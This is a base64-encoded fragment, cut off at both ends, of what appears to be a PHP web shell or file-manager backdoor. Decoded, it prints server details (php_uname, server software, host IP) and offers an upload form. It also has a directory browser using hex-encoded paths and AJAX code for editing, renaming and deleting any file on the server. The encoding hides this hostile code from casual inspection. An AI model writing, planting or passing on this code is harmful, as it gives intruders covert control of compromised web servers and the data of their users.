gICAgICBmb250LWZhbWlseTogJ1VidW50dSBNb25vJywgbW9ub3NwYWNlOwogICAgICAgICAgICBmb250LXNpemU6IDE0cHg7CiAgICAgICAgICAgIHJlc2l6ZTogbm9uZTsKICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuNDsKICAgICAgICAgICAgd2hpdGUtc3BhY2U6IHByZTsKICAgICAgICAgICAgd29yZC13cmFwOiBicmVhay13b3JkOwogICAgICAgICAgICBvdmVyZmxvdy13cmFwOiBicmVhay13b3JkOwogICAgICAgIH0KCiAgICAgICAgLmVkaXQtbW9kYWwtZm9vdGVyIHsKICAgICAgICAgICAgcGFkZGluZzogMTVweDsKICAgICAgICAgICAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICM1NTU7CiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICAgICAgYmFja2dyb3VuZDogIzMzMzsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMCAwIDhweCA4cHg7CiAgICAgICAgfQoKICAgICAgICAuZWRpdC1hY3Rpb25zIHsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgZ2FwOiAxMHB4OwogICAgICAgIH0KCiAgICAgICAgLmVkaXQtc3RhdHMgewogICAgICAgICAgICBjb2xvcjogI2NjYzsKICAgICAgICAgICAgZm9udC1zaXplOiAxMnB4OwogICAgICAgICAgICBmb250LWZhbWlseTogJ1VidW50dSBNb25vJywgbW9ub3NwYWNlOwogICAgICAgICAgICB0ZXh0LWFsaWduOiByaWdodDsKICAgICAgICB9CgogICAgICAgIC5lZGl0LW1vZGFsLWZvb3RlciAuYnRuIHsKICAgICAgICAgICAgcGFkZGluZzogOHB4IDE2cHg7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNmZmY7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICM1NTU7CiAgICAgICAgICAgIGNvbG9yOiAjZmZmOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7CiAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsKICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdVYnVudHUgTW9ubycsIG1vbm9zcGFjZTsKICAgICAgICB9CgogICAgICAgIC5lZGl0LW1vZGFsLWZvb3RlciAuYnRuOmhvdmVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZDogIzY2NjsKICAgICAgICB9CgogICAgICAgIC5lZGl0LW1vZGFsLWZvb3RlciAuYnRuLnNlY29uZGFyeSB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMzMzM7CiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzk5OTsKICAgICAgICAgICAgY29sb3I6ICNjY2M7CiAgICAgICAgfQogICAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICZ0aGluc3A7JnRoaW5zcDsmdGhpbnNwOzxiPlNFUlYgIDo8L2I+IDw/PSBpc3NldCgkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pID8gcGhwX3VuYW1lKCkgOiAiU2VydmVyIGluZm9ybWF0aW9uIG5vdCBhdmFpbGFibGUiOyA/Pjxicj4KICAgICZ0aGluc3A7JnRoaW5zcDsmdGhpbnNwOzxiPlNPRlQgIDo8L2I+IDw/PSAkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ107ID8+PGJyPgogICAgJnRoaW5zcDsmdGhpbnNwOyZ0aGluc3A7PGI+SVAgICAgJnRoaW5zcDsmdGhpbnNwOyZ0aGluc3A7JnRoaW5zcDsmdGhpbnNwOzo8L2I+IDw/PSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7ID8+PGJyPgogICAgPGJyPjxiPuKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgDwvYj4KICAgIDxicj48YnI+CiAgICA8Zm9ybSBpZD0idXBsb2FkRm9ybSIgY2xhc3M9ImFqYXhGb3JtIiBtZXRob2Q9IlBPU1QiPgogICAgICAgIDxsYWJlbCBmb3I9ImZpbGVJbnB1dCIgY2xhc3M9ImN1c3RvbS1maWxlLWJ1dHRvbiIgaWQ9ImZpbGVMYWJlbCI+Q2hvb3NlIEZpbGU8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBpZD0iZmlsZUlucHV0IiBtdWx0aXBsZSByZXF1aXJlZD4KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVXBsb2FkIj4KICAgIDwvZm9ybT4KCiAgICA8YnI+PGRpdiBpZD0iYnJlYWRjcnVtYkNvbnRhaW5lciI+CiAgICA8P3BocAogICAgJGsgPSBwcmVnX3NwbGl0KCIvKFxcXFx8XFwvKS8iLCAkZCk7CiAgICBmb3JlYWNoICgkayBhcyAkbSA9PiAkbCkgewogICAgICAgIGlmICgkbCA9PT0gJycgJiYgJG0gPT09IDApIHsKICAgICAgICAgICAgZWNobyAnPGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9MmYiPi88L2E+JzsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgIGlmICgkbCA9PT0gJycpIGNvbnRpbnVlOwogICAgICAgIGVjaG8gJzxhIGNsYXNzPSJhangiIGhyZWY9Ij9kPSc7CiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDw9ICRtOyAkaSsrKSB7CiAgICAgICAgICAgIGVjaG8gaGV4KCRrWyRpXSk7CiAgICAgICAgICAgIGlmICgkaSAhPSAkbSkgZWNobyAnMmYnOwogICAgICAgIH0KICAgICAgICBlY2hvICciPicuaHRtbHNwZWNpYWxjaGFycygkbCkuJzwvYT4vJzsKICAgIH0KICAgID8+CiAgICA8L2Rpdj48YnI+CiAgICA8ZGl2IGlkPSJhY3Rpb25Db250YWluZXIiPjwvZGl2Pjxicj4KICAgIDxkaXYgaWQ9ImZpbGVMaXN0Q29udGFpbmVyIj4KICAgICAgICA8P3BocAogICAgICAgICRlbnRyaWVzICA9IHNjYW5kaXIoJGQpOwogICAgICAgICRkaXJMaXN0ICA9IFtdOwogICAgICAgICRmaWxlTGlzdCA9IFtdOwogICAgICAgIGZvcmVhY2ggKCRlbnRyaWVzIGFzICRlbnRyeSkgewogICAgICAgICAgICBpZiAoJGVudHJ5ID09PSAnLicgfHwgJGVudHJ5ID09PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgJHBhdGggPSAkZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZW50cnk7CiAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGgpKSB7CiAgICAgICAgICAgICAgICAkZGlyTGlzdFtdID0gJGVudHJ5OwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGZpbGVMaXN0W10gPSAkZW50cnk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgPz4KICAgICAgICA8dGFibGU+CiAgICAgICAgICAgIDx0aGVhZD4KICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGg+TmFtZTwvdGg+CiAgICAgICAgICAgICAgICAgICAgPHRoPlNpemU8L3RoPgogICAgICAgICAgICAgICAgICAgIDx0aD5BY3Rpb25zPC90aD4KICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGhlYWQ+CiAgICAgICAgICAgIDx0Ym9keT4KICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgZm9yZWFjaCAoJGRpckxpc3QgYXMgJGVudHJ5KSB7CiAgICAgICAgICAgICAgICAkcGF0aCA9ICRkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRlbnRyeTsKICAgICAgICAgICAgICAgIGVjaG8gJzx0cj4nOwogICAgICAgICAgICAgICAgJG10aW1lID0gZmlsZW10aW1lKCRwYXRoKTsKICAgICAgICAgICAgICAgICRmb3JtYXR0ZWRUaW1lID0gZGF0ZSgiWS1tLWQgSDppOnMiLCAkbXRpbWUpOwogICAgICAgICAgICAgICAgZWNobyAnPHRkPjxhIGNsYXNzPSJhamF4RGlyIiB0aXRsZT0iTGFzdCBtb2RpZmllZDogJyAuICRmb3JtYXR0ZWRUaW1lIC4gJyIgaHJlZj0iP2Q9JyAuIGhleCgkcGF0aCkgLiAnIj4nIC4gaHRtbHNwZWNpYWxjaGFycygkZW50cnkpIC4gJzwvYT48L3RkPic7CiAgICAgICAgICAgICAgICBlY2hvICc8dGQ+LTwvdGQ+PHRkPjwvdGQ+JzsKICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBmb3JlYWNoICgkZmlsZUxpc3QgYXMgJGVudHJ5KSB7CiAgICAgICAgICAgICAgICAkcGF0aCA9ICRkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRlbnRyeTsKICAgICAgICAgICAgICAgIGVjaG8gJzx0cj4nOwogICAgICAgICAgICAgICAgJG10aW1lID0gZmlsZW10aW1lKCRwYXRoKTsKICAgICAgICAgICAgICAgICRmb3JtYXR0ZWRUaW1lID0gZGF0ZSgiWS1tLWQgSDppOnMiLCAkbXRpbWUpOwogICAgICAgICAgICAgICAgZWNobyAnPHRkIHRpdGxlPSJMYXN0IG1vZGlmaWVkOiAnIC4gJGZvcm1hdHRlZFRpbWUgLiAnIj4nIC4gaHRtbHNwZWNpYWxjaGFycygkZW50cnkpIC4gJzwvdGQ+JzsKICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD4nIC4gKGlzX2ZpbGUoJHBhdGgpID8gZmlsZXNpemUoJHBhdGgpIC4gJyBieXRlcycgOiAnLScpIC4gJzwvdGQ+JzsKICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD4nOwogICAgICAgICAgICAgICAgZWNobyAnPGEgY2xhc3M9ImFqYXhFZGl0IiBocmVmPSI/YWN0aW9uPWVkaXQmZD0nIC4gaGV4KCRkKSAuICcmZmlsZT0nIC4gdXJsZW5jb2RlKCRlbnRyeSkgLiAnIj5FZGl0PC9hPiB8ICc7CiAgICAgICAgICAgICAgICBlY2hvICc8YSBjbGFzcz0iYWpheFJlbmFtZSIgaHJlZj0iP2FjdGlvbj1yZW5hbWUmZD0nIC4gaGV4KCRkKSAuICcmZmlsZT0nIC4gdXJsZW5jb2RlKCRlbnRyeSkgLiAnIj5SZW5hbWU8L2E+IHwgJzsKICAgICAgICAgICAgICAgIGVjaG8gJzxhIGNsYXNzPSJhamF4RGVsZXRlIiBocmVmPSI/YWN0aW9uPWRlbGV0ZSZkPScgLiBoZXgoJGQpIC4gJyZmaWxlPScgLiB1cmxlbmNvZGUoJGVudHJ5KSAuICciPkRlbGV0ZTwvYT4nOwogICAgICAgICAgICAgICAgZWNobyAnPC90ZD4nOwogICAgICAgICAgICAgICAgZWNobyAnPC90cj4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgID8+CiAgICAgICAgICAgIDwvdGJvZHk+CiAgICAgICAgPC90YWJsZT4KICAgIDwvZGl2Pgo8L2Rpdj4KCjxkaXYgY2xhc3M9Im5vdGlmaWNhdGlvbiIgaWQ9Im5vdGlmaWNhdGlvbiIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPjwvZGl2PgoKPHNjcmlwdD4KLy8gRW5oYW5jZWQgbm90aWZpY2F0aW9uIGZ1bmN0aW9uIHdpdGggY3VzdG9tIHRpbWVvdXQKZnVuY3Rpb24gc2hvd05vdGlmaWNhdGlvbihzdGF0dXMsIG1zZywgdGltZW91dCA9IDMwMDApIHsKICAgIHZhciBub3RpZiA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdub3RpZmljYXRpb24nKTsKICAgIGlmIChub3RpZikgewogICAgICAgIG5vdGlmLmNsYXNzTmFtZSA9ICdub3RpZmljYXRpb24gJyArIHN0YXR1czsKICAgICAgICBub3RpZi5pbm5lclRleHQgPSBtc2c7CiAgICAgICAgbm90aWYuc3R5bGUuZGlzcGxheSA9ICdibG9jayc7CiAgICAgICAgCiAgICAgICAgLy8gQ2xlYXIgYW55IGV4aXN0aW5nIHRpbWVvdXQKICAgICAgICBpZiAobm90aWYudGltZW91dElkKSB7CiAgICAgICAgICAgIGNsZWFyVGltZW91dChub3RpZi50aW1lb3V0SWQpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAvLyBTZXQgbmV3IHRpbWVvdXQKICAgICAgICBub3RpZi50aW1lb3V0SWQgPSBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgeyAKICAgICAgICAgICAgbm90aWYuc3R5bGUuZGlzcGxheSA9ICdub25lJzsgCiAgICAgICAgfSwgdGltZW91dCk7CiAgICB9Cn0KCmZ1bmN0aW9uIGxvYWRCcmVhZGNydW1iKCkgewogICAgdmFyIGQgPSBnZXRRdWVyeVBhcmFtKCJkIikgfHwgIjw/cGhwIGVjaG8gaGV4KCRkKTsgPz4iOwogICAgZmV0Y2goJz9kPScgKyBkICsgJyZhamF4PWJyZWFkY3J1bWInLCB7IGhlYWRlcnM6IHsgJ1gtUmVxdWVzdGVkLVdpdGgnOiAnWE1MSHR0cFJlcXVlc3QnIH0gfSkKICAgIC50aGVuKHJlc3BvbnNlID0+IHJlc3BvbnNlLnRleHQoKSkKICAgIC50aGVuKGh0bWwgPT4gewogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdicmVhZGNydW1iQ29udGFpbmVyJykuaW5uZXJIVE1MID0gaHRtbDsKICAgICAgICBhdHRhY2hCcmVhZGNydW1iRXZlbnRzKCk7CiAgICB9KTsKfQoKZnVuY3Rpb24gZ2V0UXVlcnlQYXJhbShuYW1lKSB7CiAgICBjb25zdCB1cmxQYXJhbXMgPSBuZXcgVVJMU2VhcmNoUGFyYW1zKHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gpOwogICAgcmV0dXJuIHVybFBhcmFtcy5nZXQobmFtZSk7Cn0KCmZ1bmN0aW9uIGxvYWRGaWxlTGlzdCgpIHsKICAgIHZhciBkID0gZ2V0UXVlcnlQYXJhbSgiZCIpIHx8ICI8P3BocCBlY2hvIGhleCgkZCk7ID8+IjsKICAgIGZldGNoKCc/ZD0nICsgZCArICcmYWpheD0xJywgeyBoZWFkZXJzOiB7ICdYLVJlcXVlc3RlZC1XaXRoJzogJ1hNTEh0dHBSZXF1ZXN0JyB9IH0pCiAgICAudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpCiAgICAudGhlbihodG1sID0+IHsKICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmlsZUxpc3RDb250YWluZXInKS5pbm5lckhUTUwgPSBodG1sOwogICAgICAgIGF0dGFjaEFqYXhFdmVudHMoKTsgLy8gcmVhdHRhY2ggZXZlbnRzIGFmdGVyIHVwZGF0ZQogICAgICAgIHJlc2V0RmlsZUlucHV0TGFiZWwoKTsKICAgIH0pOwp9CgpmdW5jdGlvbiByZXNldEZpbGVJbnB1dExhYmVsKCkgewogICAgdmFyIGxhYmVsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZpbGVMYWJlbCcpOwogICAgaWYobGFiZWwpIHsKICAgICAgICBsYWJlbC50ZXh0Q29udGVudCA9ICJDaG9vc2UgRmlsZSI7CiAgICB9Cn0KCmZ1bmN0aW9uIGF0dGFjaEJyZWFkY3J1bWJFdmVudHMoKSB7CiAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuYWp4JykuZm9yRWFjaChmdW5jdGlvbihsaW5rKSB7CiAgICAgICAgbGluay5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIGZ1bmN0aW9uKGUpIHsKICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICB3aW5kb3cuaGlzdG9yeS5wdXNoU3RhdGUobnVsbCwgJycsIGxpbmsuaHJlZik7CiAgICAgICAgICAgIGxvYWRGaWxlTGlzdCgpOwogICAgICAgICAgICBsb2FkQnJlYWRjcnVtYigpOwogICAgICAgICAgICByZXNldEZpbGVJbnB1dExhYmVsKCk7CiAgICAgICAgICAgIHJlc2V0RmlsZUlucHV0KCk7CiAgICAgICAgfSk7CiAgICB9KTsKfQoKLy8gRW5oYW5jZWQgZWRpdCBmdW5jdGlvbiB3aXRoIG1vZGFsIHN1cHBvcnQgLSBOTyBTSVpFIExJTUlUUwpmdW5jdGlvbiBvcGVuRmlsZUVkaXRvcihmaWxlTmFtZSwgZmlsZVBhdGgpIHsKICAgIC8vIFNob3cgbG9hZGluZyBub3RpZmljYXRpb24gZm9yIGxhcmdlIGZpbGVzCiAgICBzaG93Tm90aWZpY2F0aW9uKCdpbmZvJywgYExvYWRpbmcgZmlsZTogJHtmaWxlTmFtZX0uLi5gKTsKICAgIAogICAgLy8gR2V0IGZpbGUgY29udGVudCB2aWEgQUpBWAogICAgZmV0Y2goYD9hY3Rpb249ZWRpdCZkPSR7Z2V0UXVlcnlQYXJhbSgiZCIpIHx8ICI8P3BocCBlY2hvIGhleCgkZCk7ID8+In0mZmlsZT0ke2VuY29kZVVSSUNvbXBvbmVudChmaWxlTmFtZSl9JmdldF9jb250ZW50PTFgLCB7CiAgICAgICAgaGVhZGVyczogeyAnWC1SZXF1ZXN0ZWQtV2l0aCc6ICdYTUxIdHRwUmVxdWVzdCcgfQogICAgfSkKICAgIC50aGVuKHJlc3BvbnNlID0+IHJlc3BvbnNlLmpzb24oKSkKICAgIC50aGVuKGRhdGEgPT4gewogICAgICAgIGlmIChkYXRhLnN0YXR1cyAhPT0gJ3N1Y2Nlc3MnKSB7CiAgICAgICAgICAgIHNob3dOb3RpZmljYXRpb24oJ2ZhaWxlZCcsIGRhdGEuZXJyb3IgfHwgJ0ZhaWxlZCB0byBsb2FkIGZpbGUnKTsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAvLyBTaG93IGZpbGUgc2l6ZSBpbmZvIGZvciBsYXJnZSBmaWxlcwogICAgICAgIGNvbnN0IHNpemVNQiA9IChkYXRhLnNpemUgLyAoMTAyNCAqIDEwMjQpKS50b0ZpeGVkKDIpOwogICAgICAgIGlmIChkYXRhLnNpemUgPiAxMDI0ICogMTAyNCkgeyAvLyA+IDFNQgogICAgICAgICAgICBzaG93Tm90aWZpY2F0aW9uKCdzdWNjZXNzJywgYExvYWRlZCBsYXJnZSBmaWxlOiAke3NpemVNQn0gTUJgKTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgc2hvd0VkaXRNb2RhbChmaWxlTmFtZSwgZGF0YS5jb250ZW50LCBkYXRhLm1pbWUsIGRhdGEuc2l6ZSk7CiAgICB9KQogICAgLmNhdGNoKGVycm9yID0+IHsKICAgICAgICBzaG93Tm90aWZpY2F0aW9uKCdmYWlsZWQnLCAnRXJyb3IgbG9hZGluZyBmaWxlOiAnICsgZXJyb3IubWVzc2FnZSk7CiAgICB9KTsKfQoKLy8gRW5oYW5jZWQgZWRpdCBtb2RhbCB3aXRob3V0IHNpemUgcmVzdHJpY3Rpb25zCmZ1bmN0aW9uIHNob3dFZGl0TW9kYWwoZmlsZU5hbWUsIGNvbnRlbnQsIG1pbWVUeXBlLCBmaWxlU2l6ZSkgewogICAgLy8gUmVtb3ZlIGV4aXN0aW5nIG1vZGFsIGlmIGFueQogICAgY29uc3QgZXhpc3RpbmdNb2RhbCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5lZGl0LW1vZGFsJyk7CiAgICBpZiAoZXhpc3RpbmdNb2RhbCkgewogICAgICAgIGV4aXN0aW5nTW9kYWwucmVtb3ZlKCk7CiAgICB9CiAgICAKICAgIGNvbnN0IHNpemVNQiA9IChmaWxlU2l6ZSAvICgxMDI0ICogMTAyNCkpLnRvRml4ZWQoMik7CiAgICBjb25zdCBzaXplRGlzcGxheSA9IGZpbGVTaXplID4gMTAyNCAqIDEwMjQgPyBgJHtzaXplTUJ9IE1CYCA6IGZvcm1hdEZpbGVTaXplKGZpbGVTaXplKTsKICAgIAogICAgLy8gQ3JlYXRlIG1vZGFsIEhUTUwKICAgIGNvbnN0IG1vZGFsID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7CiAgICBtb2RhbC5jbGFzc05hbWUgPSAnZWRpdC1tb2RhbCc7CiAgICBtb2RhbC5pbm5lckhUTUwgPSBgCiAgICAgICAgPGRpdiBjbGFzcz0iZWRpdC1tb2RhbC1jb250ZW50Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZWRpdC1tb2RhbC1oZWFkZXIiPgogICAgICAgICAgICAgICAgPGgzPkVkaXQgRmlsZTogJHtmaWxlTmFtZX08L2gzPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1pbmZvIj4KICAgICAgICAgICAgICAgICAgICA8c3Bhbj5UeXBlOiAke21pbWVUeXBlfTwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICA8c3Bhbj5TaXplOiAke3NpemVEaXNwbGF5fTwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAke2ZpbGVTaXplID4gNSAqIDEwMjQgKiAxMDI0ID8gJzxzcGFuIHN0eWxlPSJjb2xvcjogI2ZmY2M2NjsiPuKaoCBMYXJnZSBGaWxlPC9zcGFuPicgOiAnJ30KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iZWRpdC1tb2RhbC1jbG9zZSIgb25jbGljaz0iY2xvc2VFZGl0TW9kYWwoKSI+JnRpbWVzOzwvYnV0dG9uPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZWRpdC1tb2RhbC1ib2R5Ij4KICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBpZD0iZWRpdEZpbGVDb250ZW50IiByb3dzPSIyMCIgY29scz0iODAiPiR7Y29udGVudC5yZXBsYWNlKC88L2csICcmbHQ7JykucmVwbGFjZSgvPi9nLCAnJmd0OycpfTwvdGV4dGFyZWE+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJlZGl0LW1vZGFsLWZvb3RlciI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJlZGl0LWFjdGlvbnMiPgogICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biIgb25jbGljaz0ic2F2ZUZpbGVDb250ZW50KCcke2ZpbGVOYW1lfScpIj5TYXZlIEZpbGU8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gc2Vjb25kYXJ5IiBvbmNsaWNrPSJjbG9zZUVkaXRNb2RhbCgpIj5DYW5jZWw8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAke2ZpbGVTaXplID4gMTAyNCAqIDEwMjQgPyAnPGJ1dHRvbiBjbGFzcz0iYnRuIHNlY29uZGFyeSIgb25jbGljaz0ic2F2ZVdpdGhDb25maXJtKFwnJyArIGZpbGVOYW1lICsgJ1wnKSI+U2F2ZSBMYXJnZSBGaWxlPC9idXR0b24+JyA6ICcnfQogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJlZGl0LXN0YXRzIj4KICAgICAgICAgICAgICAgICAgICA8c3BhbiBpZD0iZWRpdFN0YXRzIj5MaW5lczogJHtjb250ZW50LnNwbGl0KCdcbicpLmxlbmd0aH0sIENoYXJzOiAke2NvbnRlbnQubGVuZ3RofTwvc3Bhbj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIGA7CiAgICAKICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQobW9kYWwpOwogICAgCiAgICAvLyBGb2N1cyBvbiB0ZXh0YXJlYQogICAgY29uc3QgdGV4dGFyZWEgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZWRpdEZpbGVDb250ZW50Jyk7CiAgICB0ZXh0YXJlYS5mb2N1cygpOwogICAgCiAgICAvLyBVcGRhdGUgc3RhdHMgb24gY29udGVudCBjaGFuZ2UKICAgIHRleHRhcmVhLmFkZEV2ZW50TGlzdGVuZXIoJ2lucHV0JywgZnVuY3Rpb24oKSB7CiAgICAgICAgY29uc3Qgc3RhdHMgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZWRpdFN0YXRzJyk7CiAgICAgICAgY29uc3QgbGluZXMgPSB0aGlzLnZhbHVlLnNwbGl0KCdcbicpLmxlbmd0aDsKICAgICAgICBjb25zdCBjaGFycyA9IHRoaXMudmFsdWUubGVuZ3RoOwogICAgICAgIGNvbnN0IGJ5dGVzID0gbmV3IEJsb2IoW3RoaXMudmFsdWVdKS5zaXplOwogICAgICAgIGNvbnN0IGN1cnJlbnRTaXplTUIgPSAoYnl0ZXMgLyAoMTAyNCAqIDEwMjQpKS50b0ZpeGVkKDIpOwogICAgICAgIAogICAgICAgIGlmIChieXRlcyA+IDEwMjQgKiAxMDI0KSB7CiAgICAgICAgICAgIHN0YXRzLnRleHRDb250ZW50ID0gYExpbmVzOiAke2xpbmVzfSwgQ2hhcnM6ICR7Y2hhcnN9LCBTaXplOiAke2N1cnJlbnRTaXplTUJ9IE1CYDsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBzdGF0cy50ZXh0Q29udGVudCA9IGBMaW5lczogJHtsaW5lc30sIENoYXJzOiAke2NoYXJzfSwgU2l6ZTogJHtmb3JtYXRGaWxlU2l6ZShieXRlcyl9YDsKICAgICAgICB9CiAgICB9KTsKICAgIAogICAgLy8gQWRkIGtleWJvYXJkIHNob3J0Y3V0cwogICAgdGV4dGFyZWEuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGUpIHsKICAgICAgICBpZiAoZS5jdHJsS2V5ICYmIGUua2V5ID09PSAncycpIHsKICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICBzYXZlRmlsZUNvbnRlbnQoZmlsZU5hbWUpOwogICAgICAgIH0KICAgICAgICBpZiAoZS5rZXkgPT09ICdFc2NhcGUnKSB7CiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgY2xvc2VFZGl0TW9kYWwoKTsKICAgICAgICB9CiAgICAgICAgLy8gVGFiIGtleSBzdXBwb3J0CiAgICAgICAgaWYgKGUua2V5ID09PSAnVGFiJykgewogICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIGNvbnN0IHN0YXJ0ID0gdGhpcy5zZWxlY3Rpb25TdGFydDsKICAgICAgICAgICAgY29uc3QgZW5kID0gdGhpcy5zZWxlY3Rpb25FbmQ7CiAgICAgICAgICAgIHRoaXMudmFsdWUgPSB0aGlzLnZhbHVlLnN1YnN0cmluZygwLCBzdGFydCkgKyAnXHQnICsgdGhpcy52YWx1ZS5zdWJzdHJpbmcoZW5kKTsKICAgICAgICAgICAgdGhpcy5zZWxlY3Rpb25TdGFydCA9IHRoaXMuc2VsZWN0aW9uRW5kID0gc3RhcnQgKyAxOwogICAgICAgIH0KICAgIH0pOwogICAgCiAgICAvLyBXYXJuaW5nIGZvciB2ZXJ5IGxhcmdlIGZpbGVzCiAgICBpZiAoZmlsZVNpemUgPiAxMCAqIDEwMjQgKiAxMDI0KSB7IC8vID4gMTBNQgogICAgICAgIHNldFRpbWVvdXQoKCkgPT4gewogICAgICAgICAgICBzaG93Tm90aWZpY2F0aW9uKCd3YXJuaW5nJywgYEVkaXRpbmcgbGFyZ2UgZmlsZSAoJHtzaXplTUJ9IE1CKS4gU2F2ZSBvcGVyYXRpb25zIG1heSB0YWtlIGxvbmdlci5gLCA1MDAwKTsKICAgICAgICB9LCAxMDAwKTsKICAgIH0KfQoKLy8gU2F2ZSBmaWxlIGNvbnRlbnQgZnVuY3Rpb24gLSBoYW5kbGVzIGFueSBzaXplCmFzeW5jIGZ1bmN0aW9uIHNhdmVGaWxlQ29udGVudChmaWxlTmFtZSkgewogICAgY29uc3QgY29udGVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0RmlsZUNvbnRlbnQnKS52YWx1ZTsKICAgIGNvbnN0IGN1cnJlbnREaXIgPSBnZXRRdWVyeVBhcmFtKCJkIikgfHwgIjw/cGhwIGVjaG8gaGV4KCRkKTsgPz4iOwogICAgCiAgI